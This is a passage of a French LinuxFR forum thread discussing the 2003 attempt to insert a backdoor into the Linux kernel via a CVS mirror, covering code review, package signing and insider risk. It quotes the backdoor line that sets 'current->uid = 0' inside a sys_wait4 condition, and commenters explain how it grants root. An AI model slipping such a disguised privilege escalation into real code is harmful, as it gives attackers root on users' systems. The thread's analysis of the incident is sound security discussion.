                    Linus n'inclue pas n'importe quel patch les yeux fermes, il le relit avant de le commiter.

                    • [^] # Re: faire mieux, oui mais quoi ?

                      Posté par  . Évalué à 1.

                      Il faut que le bug soit marque "approuve", et ca le developer il peut pas le faire lui-meme.

                      Sinon, quand je parlais niveau securite, je parlais des machines des developpeurs qui accedent au depot et la securite de ces machines la.

                  • [^] # Re: faire mieux, oui mais quoi ?

                    Posté par  . Évalué à 2.

                    T'es quand meme un trolleur de classe internationale!
                    Faudrait qu'on te présente kb< !

          • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

            Posté par  . Évalué à 2.

            Oui d'ailleurs ca soulève au moins une question:

            Si le type est assez malin pour introduire ce bout de code, et on peut supposer qu'il l'est (il faut connaitre un tout petit peu le fonctionnement du noyau pour avoir l'idée de pondre ce "patch", et en plus le coup des parenthèses placées autour de l'affectation démontre bien la volonté d'insérer ce code précis), alors donc, pourquoi se donner tant de mal puisque de tte facon ce code n'aura aucun effet ? (a cause du retval = -ECHILD).

            Je ne crois pas une seule seconde qu'un mec capable de pondre ca soit ensuite assez mauvais pour ne pas volontairement faire en sorte que ce code n'ait jamais aucun effet.

            Donc, pour moi, il n'a pas voulu "rééllement" plomber le noyau, mais alors pourquoi ? tirer la sonnette d'alarme en montrant qu'il était facile (ou au moins faisable) d'insérer une backdoor dans un projet comme Linux ?

            Honnêtement, je n'ai pas de réponse assurée. et vous ?

            • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

              Posté par  . Évalué à 1.

              Euh le code d'erreure que retourne la fonction on s'en fout un peu. La backdoor est la quand il fait uid = 0. L'uid 0 est l'uid du super user, donc le process se retrouve avec les droits de root comme par magie. Le coup du code d'erreure, j'avoue que je ne vois pas très bien pourquoi il a fait ça (amha c une erreure), il aurait rajouté un else ça aurait été plus difficile à voir.

          • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

            Posté par  (site web personnel, Mastodon) . Évalué à 2.

            L'affectation n'a aucun effet :

            Ah, tu en es sur ?

            current->uid = 0

            gOt r00t !

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à 6.

        Oui.
        A condition de lire cette ligne attentivement.

        je peux te dire, pour avoir deja fait cette erreur en tant que faute de frappe (mettre = a la place de ==) que c'est pas souvent une erreur facile a trouver.

        Une fois que quelqu'un a repere le = a la place du == a cet endroit, comme tu dis, il va bondir et chercher a comprendre. Tout a fait d'accord. Encore faut-il l'avoir repere.

        Le bonjour chez vous,
        Yves

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  (site web personnel) . Évalué à 4.

        je proteste bruyamment : n'importe quel programmeur C digne de ce nom sera déjà très mal à l'aise à la vue d'une affectation dans un test.

        Je parlais du fait que ce n'est pas visuellement très repérable : Un caractère "=" en moins au lieu de 2, cela passera inapercu à une lecture peu attentive du code.

        Mais évidement, au niveau de la sémantique du C, ce type de code est une horreur. Lorsque je code du C, je ne fais bien sur pas ce genre de chose...

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 8.

          Personnellement, si je tombe sur du code que je dois modifier, qui contient ce genre de constructions (Variable == CONSTANTE), je me dépêche d'inverser les deux (CONSTANTE == Variable) pour correspondre à mon type de programmation (que je sors, pour une bonne partie, de l'excellent O'Reilly C++ par la pratique).

          Et donc, ce genre d'erreur, je n'ai plus à m'en soucier.

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  (site web personnel) . Évalué à 6.

    Qui se souvient de cette histoire de code malicieux introduit dans le source du compilateur et effectif via la compilation du compilateur par lui-meme?
    c'etait quand meme autre chose! :-)

  • # Et si il y avait un backdoor non trouvé ?

    Posté par  . Évalué à 3.

    tout le monde se félicite que ce backdoor ait été trouvé à temps, mais peut-on être sur qu'un autre bien discret ne se cache pas dans un recoin du kernel, de la libc, de ssh, ou de je ne sais quel autre service ?
    quand on voit les millions de code que comporte un systeme linux à base de kde, xmms, diverses services tels que ssh ou proftpd ... on ne peut être sur.
    Donc ma question est : parmi tous les récents systèmes de sécurité qui ont vu le jour dans linux, y-en a t-il un qui permettrait de détecter des comportements étranges provenant d'un élément du système ? Même un truc bien fastidieux qui ne serait fait que par le développeur lui même mais qui permettrait d'être sur qu'il n'y a aucun problème ? Je ne vois pas de solution miracle mais ce genre de problème me parait suffisamment important pour qu'une solution fiable soit trouvé.
    d'ailleurs j'hésite bien souvent à prendre des paquets non officiels de ma distrib s'ils ne viennent pas du mainteneur lui même à cause de ça

    bon, je sais, je suis parano, mais comme on dit : on est jamais trop prudent

    • [^] # Re: Et si il y avait un backdoor non trouvé ?

      Posté par  . Évalué à 6.

      > tout le monde se félicite que ce backdoor ait été trouvé à temps, mais peut-on être sur qu'un autre bien discret ne se cache pas dans un recoin du kernel, de la libc, de ssh, ou de je ne sais quel autre service ?

      Sûr, non. Mais ce qui est certain, c'est la disponibilité du code source pour les développeurs qui travaillent sur un logiciel rend difficile l'introduction de code douteux (mais théoriquement pas impossible). À noter que si de telles backdoors volontaires existaient déjà, elles seraient exploitées - c'est le but après tout - et il y a de forte chance que cela aurait été su.

      > Donc ma question est : parmi tous les récents systèmes de sécurité qui ont vu le jour dans linux, y-en a t-il un qui permettrait de détecter des comportements étranges provenant d'un élément du système ? Même un truc bien fastidieux qui ne serait fait que par le développeur lui même mais qui permettrait d'être sur qu'il n'y a aucun problème ?

      Comment veux-tu qu'un système puisse détecter un comportement étrange ? Cela supposerait l'analyse et la compréhension de la logique de chaque séquence de code, ce qui est d'une part énorme et d'autre part inexistant à ce jour. Pour couronner le tout, dans la série du chien qui se mord la queue, qu'est-ce qui assurerait que ce système est de digne de confiance ? :)

      Par ailleurs, est-il besoin de tomber dans la paranoïa ? Non, il faut faire confiance par la communauté du Logiciel Llibre qui a prouvé sa compétence depuis des années déjà, et qui a déjouée les multiples sabotages dans ce style. Sinon, autant utiliser un système propriétaire, au moins on suppose qu'il y a qu'il y a des backdoors par avance et on dort tranquille le soir :)

      > d'ailleurs j'hésite bien souvent à prendre des paquets non officiels de ma distrib s'ils ne viennent pas du mainteneur lui même à cause de ça

      La plupart des projets dispose d'une clé GPG pour contrôler la signature des sources et s'assurer qu'elles proviennent bien des auteurs originaux : personnellement, je vérifie tout le temps cette signature, car c'est un gage de sécurité et une habitude à avoir quand on est soucieux de la sécurité (surtout en milieu professionnel).

      De même, les mises à jour d'une distribution peuvent être contrôlées de manière sûre grâce à la clé GPG des mainteneurs, et cela, quelque soit le mirroir sur lequel se trouve la mise à jour. Par exemple, avant d'appliquer un paquet de mise à jour à mon système Slackware, je le vérifie vérifie avec GPG pour m'assurer que le paquet de mise à jour est sûre car il provient bien des mainteneurs. Cela suppose évidemment que les mainteneurs font de même lorsqu'ils téléchargent les sources d'un logiciel pour en faire un paquet, ce qui est le cas pour la plupart des distributions Linux.

      • [^] # Re: Et si il y avait un backdoor non trouvé ?

        Posté par  . Évalué à 1.

        imagine le cas d un developeur mal intentionné qui integre dans une distribution, un nouveau soft qui en devient mainteneur, qui insere sa backdoor ...

        Je delire c est certain mais ...

        • [^] # Re: Et si il y avait un backdoor non trouvé ?

          Posté par  . Évalué à 1.

          Non tu délires pas. Ça doit sûrement exister mais ce n'est pas propre au dévelopement libre. La bonne fois des personnes et leur responsabilisation sont des valeurs importante dans tous projets. Je pense que le dévelopement libre incite à responsabiliser un peu plus le développeur mais de là à avoir un gage de qualité...

    • [^] # Re: Et si il y avait un backdoor non trouvé ?

      Posté par  . Évalué à 8.

      quand on voit les millions de code que comporte un systeme linux

      Pour modérer un peu le propos (sans pour autant dire que c'est impossible), Linux et autres LL ne se sont pas fait en un jour, et les changements sont en général *petits* et *suivis*. Il arrive que des patchs soient refusés avec pour seul motif leur taille. (trop gros, passera pas ;-)

      Quel mainteneur accepterais un patch de 4000 lignes de la part de xxxds@yahoo.com ?
      Quel mainteneur intègre un patch sans le relire ?

      Par récurence, un premier dépot de zéro ligne, puis des rajouts auditables et audités, donc sûrs, et le tour est joué. Une duplication des dépos: toute différence est une erreur. Le reste n'est que bug.

      Bref, ce n'est pas vraiement comme si on se retrouvait du jour au lendemain avec 20 million de lignes à inspecter.

  • # On se calme! On n'est pas (encore) Slashdot

    Posté par  . Évalué à 10.

    Je lis de jolis messages qui traitent de l'insertion d'un backdoor dans le code de Linux. Et des belles hypothèses de type "et si personne ne l'avait vu?" "Il aurait pû rester là pendant des années!"

    Tout cela est bien joli, mais comme disait Fontenelle, "Assurons nous bien du fait avant que de nous inquiéter de la cause".

    1- un backdoor a été inséré dans le code de Linux: FAUX
    Il a été inséré sur un miroir. Si j'insère un backdoor dans le code du noyau Linux à la maison, est-ce que je vais crier "Un backdoor a été inséré (par moi) dans le noyau linux!". Ce serait vrai mais complètement con.

    2- il aurait pû rester là pendant des mois/années etc. FAUX
    Il n'est que dans un miroir, donc il disparaît à la prochaine synchronisation sur le site d'origine.

    3- open source = pas sûr, c'est prouvé (je schématise)
    Le noyau linux n'était pas géré par CVS. Le noyau linux utilise très lourdement le peer review. Et c'est ce qu'a compris l'affreux, en essayant de s'attaquer au serveur CVS.

    4- ce backdoor pouvait ne pas être repéré, à cause du = au lieu de ==
    Il suffit de lire la LKML pour se rendre compte que chaque ligne est vraiment lue par Linus et ses lieutenants. Il pinaille très souvent sur des détails (détails pour un profane comme votre serviteur ;) ), alors une "erreur" de ce type, ne pouvait pas passer.

    D'après le thread, les gens de BitKeeper (= Larry McVoy) ne se sont pas rendu compte de l'existence du back door dans le code, mais ils ont remarqué que l'accès CVS était illégal et c'est ça qu'ils ont corrigé. Quand McVoy a écrit sur la LKML, quelqu'un lui a demandé de poster le code en question, et les 3 réponses qu'il a eu dans les 10-20 minutes (Zwane Mwaikambo, Andries Brouwer et Chad Kitching) sont claires: "c'est un back door", d'où sa réponse:
    "It sure does. Note "current->uid = 0", not "current->uid == 0".
    Good eyes, I missed that."

    Bref, le code n'a pas passé le peer-reviewing

    Cet évênement n'en est pas un. Le code de Linux, qui se trouve ailleurs, n'a jamais été contaminé.

    • [^] # Re: On se calme! On n'est pas (encore) Slashdot

      Posté par  . Évalué à -1.

      Je poussoie à tout ça.
      Yes !

      PS : est-ce plussoir ou plussoyer le bon verbe ?
      Il faudrait une Académie LinuxFR !
      David

      • [^] # Re: On se calme! On n'est pas (encore) Slashdot

        Posté par  (site web personnel) . Évalué à 1.

        bon... plussoyer ca sonne mieux a mes oreilles que plussoir

        mais si tu mets un e à 'je plussoie' (en l'occurence tu as ecris 'poussoie' mais c'est pareil), c''est que c'est un verbe du premier groupe donc plussoyer, tu as repondu toi-même à ta question... t'es pas si nul ;-)
        sinon il aurait fallu ecrire 'je plussois' je pense

        voir les verbes boire et aboyer par exemple

        je peux être academicien ?
        parce que pour developper le noyeau, je vaux rien...

        d'ailleurs je vous fais remarquer au passage que l'on n'invente plus que des verbes du premier groupe

        http://www.leconjugueur.com/frindex.php(...)
        --
        plouf

        • [^] # Re: On se calme! On n'est pas (encore) Slashdot

          Posté par  . Évalué à 1.

          Bon, je crois que je suis d'accord. Mais pour l'histoire du e à la fin, c'est justement en l'écrivant que je me posais la question turlupinante.

          Enfin, pour le fait que l'on n'invente plus que des verbes du 1er groupe, ça ne m'étonne pas... Comme disait l'autre, on sacrifie toujours quelque chose à la facilité.
          QUIZZ
          Cette citation est extraite d'un film français, sauras-tu le reconnaitre ?

          Tout fout le camps, mon bon monsieur.

        • [^] # Re: On se calme! On n'est pas (encore) Slashdot

          Posté par  (site web personnel) . Évalué à 2.

          Alors on doit dire plusser ! Et le nom serait un plussement.
          Je n'aime pas le verbe du troisième groupe car c'est dedans qu'on a mis tius les verbes malades, bancals, pestiférés et mal fichus.

          L'antonyme de plusser serait moinsser. Mais faut-il deux S ? Un seul serait suffisant, mais il me semble qu'il est normal de doubler de S final de moins pour en faire un verbe. Un grammairien SVP pour nous éclairer !

      • [^] # Re: On se calme! On n'est pas (encore) Slashdot

        Posté par  . Évalué à 5.

        Je suis l'inventeur de plusseoir et moinssir.

        Ce sont tous les deux des verbes irréguliers du 3e groupe.
        Ras le cul des verbes du premier groupe.

    • [^] # Re: On se calme! On n'est pas (encore) Slashdot

      Posté par  . Évalué à 7.

      >Cet évênement n'en est pas un.
      Tout dépend de qui s'y cache...

      La tentative a raté, mais il serait bien intéressant de savoir qui a essayé.
      Le "pirate" a usurpé une identité ; il a su pirater CVS ; et en plus, il connaît le kernel vraiment bien.
      A mon avis, les "pirates" bas de gamme ne connaissent pas bien le code ; ils connaissent les outils pour s'introduire dans un système. Et le codeurs "haut de gamme" ne sont pas des pirates.

      Bref, ce pirate est sacrément "doué".
      Reste à savoir qui a fait le coup...

      Côté événement, je trouve plutôt que c'est un argument en faveur de l'Open Source...

    • [^] # Re: On se calme! On n'est pas (encore) Slashdot

      Posté par  (site web personnel) . Évalué à 4.

      open source = pas sûr, c'est prouvé (je schématise)

      Non tu déformes. Ce que certains ont dit, c'est que le fait que le noyau soit open source n'a probablement rien à voir avec la découverte rapide de la tentative.

      Bref, le code n'a pas passé le peer-reviewing

      Quelle grossière simplification ! Tu connais la différence entre le jeu des erreurs et le jeu des 7 erreurs ? Tu sais pourquoi le deuxième est plus facile ? Encore heureux que des rois du noyau linux aient compris rapidement le but de cette insertion de lignes. Je ne suis pas sûr qu'au milieu d'un patch compliqué, quelqu'un détecte facilement une différence entre un = et un ==. Par sûr que cela puisse être facilement utilisé pour insérer une backdoor viable, ceci dit car un test sur l'uid est quand même quelque chose d'important et si ça arrive n'importe où, ça sera tout de suite louche. Par contre une petite modification d'un test permettant ensuite de déclencher un buffer overflow...

      • [^] # Re: On se calme! On n'est pas (encore) Slashdot

        Posté par  . Évalué à 8.

        Je ne suis pas sûr qu'au milieu d'un patch compliqué, quelqu'un détecte facilement une différence entre un = et un ==.

        Et pourquoi crois-tu que Linus a toujours refusé les patchs compliqués ???
        Linux n'accepte que les patchs simples, et ses "lieutenants" aussi., sinon : poubelle !

        • [^] # Re: On se calme! On n'est pas (encore) Slashdot

          Posté par  . Évalué à 4.

          Tout à fait. D'ailleurs le fin mot de l'histoire revient à Linus:

          ----------------------
          On Thu, 6 Nov 2003, bert hubert wrote:
          >
          > And, was there any route via which this malicious patch could've worked
          > itself into a kernel release?

          No. There are two ways to get into a kernel release: patches to me by
          email (which depending on the person get more or less detailed scrutiny,
          but core files would definitely get a read-through and need an
          explanation), and through BK merges.

          And the people who merge with BK wouldn't have used the CVS tree.

          Linus
          -----------------------

          ( http://marc.theaimsgroup.com/?l=linux-kernel&m=106813487330283&(...) )
          Bref Linus qui n'est pas un j'menfoutiste au niveau de la sécurité conclut clairement que ce patch n'avait AUCUNE chance de se retrouver inclus dans le code de Linux.

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 7.

    Pour information:

    Larry McVoy wrote:
    > On Wed, Nov 05, 2003 at 04:48:09PM -0600, Chad Kitching wrote:
    >>From: Zwane Mwaikambo
    >>>+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    >>>+ retval = -EINVAL;
    >>
    >>That looks odd
    >>
    >>
    >>Setting current->uid to zero when options __WCLONE and __WALL are set?
    >>The >>retval is dead code because of the next line, but it looks like an attempt
    >>to backdoor the kernel, does it not?
    >
    >
    > It sure does. Note "current->uid = 0", not "current->uid == 0".
    > Good eyes, I missed that. This function is sys_wait4() so by passing in
    > __WCLONE|__WALL you are root. How nice.

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 10.

    En même temps ça fait réfléchir, au début de ce thread quelqu'un parlait en plaisantant (ou pas?) d'une récompense pour le coupable. Mais si quelqu'un était prêt à payer un contributeur sérieux pour compromettre le noyau alors ? Parceque il y en a des gens que le développement de linux gêne qui peuvent se le permettre, et que les développeurs ne sont pas forcément nantis ou incorruptibles, non ? et vous si on vous offre un million pour subtilement introduire des backdoors dans le noyau ? ou si quelqu'un exerce des pressions sur vous ? c'est quoi qui pourrait vous faire flancher ? quelles sont les chances qu'une telle chose ne soit pas détectée ? est-on sûr de pouvoir remonter au coeur du problème si jamais ça arrivait ?

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 3.

      Comme le code est ouvert et que les codeurs du noyau se reviewent entre eux, l'un des autres codeurs du noyau détecterait le problème. Je pense qu'il faudrait corrompre un bon nombre de codeurs du noyau pour pouvoir faire ce que tu dis (et même dans ce cas, comme le code est lisible par tous, quelqu'un d'extérieur pourrait trouver la faille).

      De toute façon, de plus en plus de gens ont intêret à ce que Linux fonctionne bien. Des personnes privées, mais aussi des entreprises comme IBM, Motorola, et même Intel. Alors, cette éventualité est tout de même assez marginale.

      • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

        Posté par  . Évalué à 2.

        Oui mais on n'est pas sur que sans les projos posés sur ces deux lignes, quelqu'un aurait vu ce truc.
        On vient de voir que quelqu'un d'intelligent pouvait cacher des trucs dans du code apparemment anodin.
        Y doivent bien avoir quelques gars intelligents à la NSA (collaborateurs du noyau, via selinux)

        Bon allez, j'arrête ma parano et je vais prendre mes pillules

        • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

          Posté par  . Évalué à 1.

          Yop! Les pilules sont (seront) nécessaires aux paranos…
          De plus en plus de gens ont intérêts à placer des backdoor dans Linux et le libre car ces solutions sont de +en+ utilisées… (enfin!!!)
          Les amateurs de virus et autres vers pour ce faire … à la vue des problèmes posés par leur 'création' mais également les Autres, intrus restant dans l'ombre, qui ont beaucoup plus d'intérêts à défendre… Gouvernements (style NSA, armée, police, …), Les majors qui peuvent claquer des M$ pour ca … sans oublier les mafias et sectes de tout poils…
          Mais il n'y a pas que le soft! Qui peut certifier qu'il n'y a pas de backdoor directement dans le hardware (carte réseau, CPU, Bios, …)
          Si les informations traitées ont de la valeur, ceux qui les voudront y mettrons le prix et les moyens (un gouvernement ou ceux qui ont bcp de $€ peuvent se permettre des actions 'sur le terrain'). Et dans ce cas, même la crypto 'parfaite' a un intérêt limité …
          Force est de constaté que le nombre de 'grands frères' est en augmentation constante et que d'une manière générale la société de l'information est, pour eux, un formidable outil d'automatisation… donc de réduction des coûts…

          Bref, d'une manière générale, la ?seule? solution est de rendre le coût d'une violation de votre intimité bien supérieur aux bénéfices … de vivre caché et d'utilisé des 'systèmes' hors standard, exotiques à souhait et indépendants les uns des autres…

          Pour ma part, j'ai pas grand chose de valeur, donc ca n'a pas été trop difficile.;-)

          • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

            Posté par  . Évalué à 1.

            > [ tcws ] et vous si on vous offre un million pour subtilement introduire des backdoors dans le noyau ? ou si quelqu'un exerce des pressions sur vous ? c'est quoi qui pourrait vous faire flancher ? quelles sont les chances qu'une telle chose ne soit pas détectée ? est-on sûr de pouvoir remonter au coeur du problème si jamais ça arrivait ?

            J'ai bien peur que tout le monde soit suseptible de céder. Il faut donc faire avec.
            "c'est quoi qui pourrait vous faire flancher ?" : si tu ne veux pas que ca t'arrive il faut certenement se poser aussi une question qui doit être du genre : "comment faire pour que personne n'est interet à nous faire flancher. ?"

            [ maxIharD ]
            Bref, d'une manière générale, la ?seule? solution est de rendre le coût d'une violation de votre intimité bien supérieur aux bénéfices … de vivre caché et d'utilisé des 'systèmes' hors standard, exotiques à souhait et indépendants les uns des autres…
            ?seule?
            pas con mais il faut pas oublier qu'il on BEAUCOUP d'argent.
            Utiliser des trucs pas connus et donc dur à avoir pourrait être la meilleur facon d'attirer l'attention.
            sinon vivre cacher mois ca me fait flipper. Parler à visage découvert c'est secure. s'il venait à arriver quelque chose à un pseudo, que l'affaire soit etouffé. Personne d'entre nous ne pourra en savoir plus. Peut être même qu'aucun d'entre nous n'en sera au courrant. Je n'ai rien à cacher mais peut tous le monde à le droit d'être un peut parano et on n'est pas à l'abri d'un incompréention de la part du méchant oeul ;)
            Aprés tout c'est peut être Miller ou Linus qui fait un test pour voir si ces potes codeurs sont bon :DD

            • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

              Posté par  . Évalué à 1.

              Je croyait avoir paumé mon poste. j'en est donc préparé un autre. Je le met qd même ça peut être interressant:

              J'ai encore paumé mon poste ! je refai(?) :
              >> [ maxIharD ]
              > Bref, d'une manière générale, la ?seule? solution est de rendre le coût d'une violation de votre intimité bien supérieur aux bénéfices ?
              Pas con mais oublis pas qu'ils ont BEAUCOUP d'argent. Et que les bénéfices, ça doit pas être sur TOI qu'il les fond(?) alors...

              > de vivre caché et d'utilité des 'systèmes' hors standard, exotiques à souhait et indépendants les uns des autres?
              C'est peut être aussi le meilleur moyen de te faire remarquer. Le matériel exotiques ça doit pas être simple à trouver et donc... ça risque de faire du bruit. Tu peut tjs te le construire ;)
              Et encore si tu lis trop de doc trop bien tu attire peut être aussi l'attention. nan ?

              > Mais il n'y a pas que le soft! Qui peut certifier qu'il n'y a pas de backdoor directement dans le hardware (carte réseau, CPU, Bios, ?)
              Même si on utilisais du matos très open, et si on était bon au point de comprendre TOUS ce que fait ta machine. Qui te garantis qu'il n'y est pas une door dans ton radio réveil.
              Déconne pas c'est possible. Vu que tout matériel émet des ondes éléctro qui peuvent être interprétés pour comprendre ce qu'il se passe à distance. hihi

              > Bref, d'une manière générale, la ?seule? solution....
              c'est peut être celle-ci :
              > Pour ma part, j'ai pas grand chose de valeur, donc ça n'a pas été trop difficile. ;-)
              La pire des solution est de vivre caché.

              [ tcws ]
              > .... Parceque il y en a des gens que le développement de linux gêne qui peuvent se le permettre, et que les développeurs ne sont pas forcément nantis ou incorruptibles, non ? et vous si on vous offre un million pour subtilement introduire des backdoors dans le noyau ? ou si quelqu'un exerce des pressions sur vous ? c'est quoi qui pourrait vous faire flancher ? quelles sont les chances qu'une telle chose ne soit pas détectée ? est-on sûr de pouvoir remonter au coeur du problème si jamais ça arrivait ?

              Ce qui me fait le plus peur est le "c'est quoi qui pourrait vous faire flancher ?" et "[...] si jamais ça arrivait ?" sans un truc du style : "comment faire pour qu'il n'est pas interret à te faire flacher. ?"
              Le meilleur moyen n'est pas de ne rien avoir à cacher. tu n'est pas à l'abri d'une incompréention de leur part. Le meilleur moyen n'est pas de te cacher derrière un pseudo car s'il t'arrivait quelque chose, je/(on?) ne POURRAI RIEN POUR TOI ;)
              Le meilleur moyen est d'être honete et de "dire ce que tu fait. de faire ce que tu dit". (pas tout quand même).
              Le meilleur moyen est la coopération. Et si tu est honete (je parle pas de la lois car elle est trop imparfaite pour fonder des bases - et c'est pas une raison pour ne pas la respecter !), tu n'a rien à craindre et eux non plus.
              Après tout ce que tous le monde veux au fond. C'est de la paix et un peut de respect dans ce putain de monde. Linux est basé là dessus. Le fait qu'il soit libre est seulement un mailloin (fort) de sa sa philosophie.
              Nous sommes plus fort car nous sommes honetes.
              copérons.

              "ce post est sous GPL" ;)

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 2.

      Des pressions sur un développeur du noyau ?

      Euh ... couper la barde d'Alan Cox ?

      Ok -----> [ ]

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 6.

    Info : Larry McVoy a annoncé ce matin que BitMover a mis off-line
    la machine par laquelle le code malicieux a été introduit. Ils
    vont inspecter le disque dur avec une (grosse) loupe pour
    essayer de comprendre ce qui s'est passé.

    manuel

    • [^] # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

      Posté par  . Évalué à 4.

      C'est un process normal en cas d'intrusion : si qqn est rentré, il faut arrêter la machine pour :
      1° voir si il n'y a pas de Trojan sur la machine
      2° voir par où la personne est passée, pour comprendre le trou de sécurité
      3° voir qui c'est ; mais si le gars est "bon", il ne laisse pas de trace repérable...

  • # Re: Tentative d'insertion d'une backdoor dans le noyau Linux

    Posté par  . Évalué à 4.

    euuuuuuuh c'est pas l'ouverture des sources qui a permis d'éviter un tel désastre, c'est juste un paranoïaque (Larry McVoy) qui s'est occupé de mettre du triple-check (au moins) sur le passerelle CVS2BK.

    D'ailleurs c'est dans le thread de la lkml dont les mails ont été copié dans l'article de kerneltrap : ça aurait pu arriver à du propriétaire et être découvert tout pareil.

    L'open source c'est bon pour la sécurité et la fiabilité si y'a des gens compétents derrière. Mais ces mêmes gens compétents peuvent aussi bien faire qqch de secure et fiable dans le propriétaire...

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.